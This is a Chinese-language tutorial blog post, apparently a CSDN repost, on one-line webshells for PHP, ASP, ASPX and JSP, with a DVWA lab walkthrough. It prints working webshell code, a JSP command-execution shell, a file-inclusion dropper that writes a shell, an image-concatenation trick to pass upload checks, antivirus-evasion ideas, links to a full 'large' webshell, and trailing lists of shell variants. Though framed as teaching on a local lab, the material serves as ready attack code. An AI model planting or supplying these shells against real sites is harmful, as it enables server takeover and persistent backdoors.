一句话木马 原理 解析 转载

Web安全-一句话木马

概述

在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢?

先来看看最简单的一句话木马:

   <?php @eval($_POST['attack']) ?>
  • 1

基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

入侵条件

其中,只要攻击者满足三个条件,就能实现成功入侵:

(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
  • 1
  • 2
  • 3

常见形式

常见的一句话木马:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
  • 1
  • 2
  • 3

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

基本原理

首先我们先看一个原始而又简单的php一句话木马:

   <?php @eval($_POST['cmd']); ?>
  • 1

看到这里不得不赞美前辈的智慧。对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。

这句话什么意思呢?

(1)php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错。
在这里插入图片描述
为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@

(3)为什么密码是cmd呢?

那就要来理解这句话的意思了。php里面几个超全局变量:$_GET$_POST就是其中之一。$_POST['a']; 的意思就是a这个变量,用post的方法接收。

注释:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)

(4)如何理解eval()函数

eval()把字符串作为PHP代码执行

例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>。结果如下:
在这里插入图片描述
连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。所以也就能这么玩:也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()readdir()等等。想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好。你想执行cmd命令,则用exec()

当然前提是:php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。

来看看效果,POST代码如下:

  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo '<pre>';
  print_r($out);
  echo '</pre>';
  • 1
  • 2
  • 3
  • 4
  • 5

在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解,为什么说一句话短小精悍了吧!
在这里插入图片描述

木马利用

以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。关于文件上传漏洞可阅读以下文章:文件上传漏洞

中国菜刀

【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):

  <?php @eval($_POST['pass']);?>
  • 1

接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。
在这里插入图片描述
在Low 安全级别下,查看后台源码:

 <?php
 if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
  }
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。

(1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:
在这里插入图片描述在这里插入图片描述
(2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:
在这里插入图片描述“中国菜刀”页面操作说明:

1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");
3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。

(3)然后可以看连接成功的界面:
在这里插入图片描述(4)接着双击或者右键“文件管理”,进入以下界面:
在这里插入图片描述我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……
在这里插入图片描述

图片木马

木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关。所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。

承接上面DVWA实验,High 安全等级,继续先查看源码:

 <?php
 if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
 }
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”“.jpeg”“*.png”之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型
在这里插入图片描述我们需要将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并:
在这里插入图片描述

【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件

在这里插入图片描述
生成带有木马的图片文件hack.jpg
在这里插入图片描述
接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:
在这里插入图片描述
然后我们试着将生成的木马图片文件hack.jpg上传,上传成功!!!
在这里插入图片描述访问图片木马:
在这里插入图片描述

接下来,上菜刀!!!!!!!!!!!
在这里插入图片描述
但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败:
在这里插入图片描述
既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。

首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:

<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>
  • 1

然后制作新的图片木马,如下图所示:
在这里插入图片描述
接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:
在这里插入图片描述访问的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下图所示:
在这里插入图片描述此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php,如下图所示:
在这里插入图片描述
此时再上菜刀连接,即可成功连接:
在这里插入图片描述
在这里插入图片描述

至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。最后附上一篇博文,介绍了图片木马+解析漏洞的利用:PHP图片木马

木马免杀

就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

免杀思路】:

1、将源代码进行再次编码。
在这里插入图片描述2、将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:
在这里插入图片描述3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。
在这里插入图片描述
不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。

小马和大马

小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

网页小马

小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。

网页大马

大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):
在这里插入图片描述
访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
在这里插入图片描述继续访问下命令执行功能(其他功能不展示了):
在这里插入图片描述

最后附上该PHP大马的代码(代码太长,百度云盘链接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
提取码:56pd。另外提供JSP大马的参考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456

WebShell

Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:
在这里插入图片描述

 
暴力破解到getshell视频教程,本课程通过暴力破解获取后台管理权限,通过上传一句话木马,获取服务器权限。通过案例操作详细讲解该种类型漏洞利用过程中所需要得知识,并针对研发讲解了该漏洞得修复方案,从攻击和防守两个方面完美展示该漏洞。
<%eval request("c")%><%execute request("c")%><%execute(request("c"))%><%ExecuteGlobal request("sb")%>%><%Eval(Request(chr(35)))%><%<%i...
  • qq_44830389
    qq_44830389:第二次上传图片木马成功后,那个访问路径怎么得知的呢3月前回复
    • qq_45836485
      youki233回复:本地安装的phpstudy数据库的绝对路径3月前回复
  • qq_37051023
    qq_37051023:我用的菜刀连接一句话木马的时候,服务器返回500报错,不知为啥5月前回复
  • Mr_Shiyang
    Syangy:图片木马后面不也是有一句话吗,按顺序执行到最后为什么不能识别呢7月前回复
    • qq_39326816
      「已注销」回复bwshen:不只是文件包含 解析也行4月前回复
    • weixin_39190897
      码皇bwshen回复:图片木马始终是jpg格式,无法被服务器当作可执行的php脚本文件,所以需要结合文件包含漏洞生成php格式的木马。7月前回复
      2
  • <
  • 1
  • 2
  • >
<br />一句话木马的工作原理:一句话木马分析服务端与客户端。<br />"一句话木马"服务端(是用于本地的html提交脚本木马文件)<br />就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 <%execute request("value")%> 其中value可以自己修改<br />"一句话木马"客户端(远程服务器上被插入一句话的asp可执行文件)<br />用来向服务端
木马免杀只需要简单的一句话代码php文件就可以轻松过,可以参考
各种一句话木马大全 - 一个运维菜鸡的博客 - CSDN博客
8-30
在互联网发达的今天,各种水平的程序用应时而生,不注重安全,导致很多网站都被挂马(虚拟主机现在是个重灾区),这样的一句话后门是黑客最喜欢的,隐藏性好,这里将代码...
一句话木马_老-男孩的博客
12-14
条件:1.有服务器的写入权限。2.知道服务器的地址。目的:将我们的一句话木马插入到服务器的asp文件中。 例如:在服务器的地址里创建一个叫virus.php文件里边放代码...
服务器上发现被植了很多木马,而且还让人肆意使用...NND <?php @eval($_POST['c']);?> 使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行
各位同学 对 一句话木马 我写了第5篇了,没有绝对的安全 我们在完善中!啊哈哈 这段代码 可以被利用做后门 暂时免杀。 代码: &lt;?php //t.php $test = $_GET['r']; echo `$test`; ?&gt; 大家看看这个代码有木有问题?我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么...
一句话木马_bestlzk的博客
12-8
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
一句话木马_lendq的Blog
12-8
一句话木马的原理及利用(asp,aspx,php,jsp) 一句话木马的适用环境: 1.服务器的来宾账户有写入权限 2.已知数据库地址 3.能将一句话插入到页面文件中也可 ...
实用的一句话木马,网站拿SHELL必备,还有其他资源,以后再传
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。 黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码: <%execute request(“value”)%> 其中value...
木马学习笔记 1【一句话木马篇】_Sp4rkW的博客
12-8
ummmm,之前队内交流提到了线下赛的木马,和表哥们的交流中也认识到很多不足,一边学习,一边进步吧,欢迎大佬留言指点~ 下面从一些基本种类的一句话木马开始讲起【PH...
一句话木马-网络攻防文档类资源
11-15
CTF竞赛实战 中国菜刀与一句话木马 72993 一.基本操作: 往目标CTF提供的网站中加入一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录...
史上最全一句话木马PHP普通一句话PHP系列过狗一句话PHP过狗几个变性的php--过防火墙phpv9 高版本拿shellASPasp 一句话ASP过安全一句话ASPX系列aspx一句话JSP过护卫神的插入一句话容易爆错一句话木马到两句话木马的转型!一句话免杀:一:变形法支持变异菜刀连接以过安全狗,过啊D 文件扫描的一句话ASPASPASPX大家伙 把你们手中好的发出来共享下吧 别藏着了 PHP...
人工智能已成为新时代的风向标,如果你是对人工智能感兴趣的互联网工作者、大学生、研究生并期望在 AI 方向发展,建议你一定要深入学习一下人工智能。因为,未来将是人工智能的时代! 为什么会有这个判断呢? 第一,最近特别流行一个词——物联网,我们听到更多的是人工智能,对物联网不是非常了解。物联网已经作为国家战略重点发展,而解锁物联网巨大潜力的钥匙就是人工智能,人工智能和物联网的关系好比大脑和手脚。 第二,著名 AI 专家李开复说过,未来 20 年,人工智能会取代 50% 的工作岗位。阿里巴巴已经成立了达摩院
在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。 一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去...
©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页
 
4886
积分
602
粉丝
477
获赞
103
评论
2088
收藏
已关注

最新评论

 
举报         
posted @ 2020-12-17 19:43  ctfliar  阅读(3518)  评论(0)    收藏  举报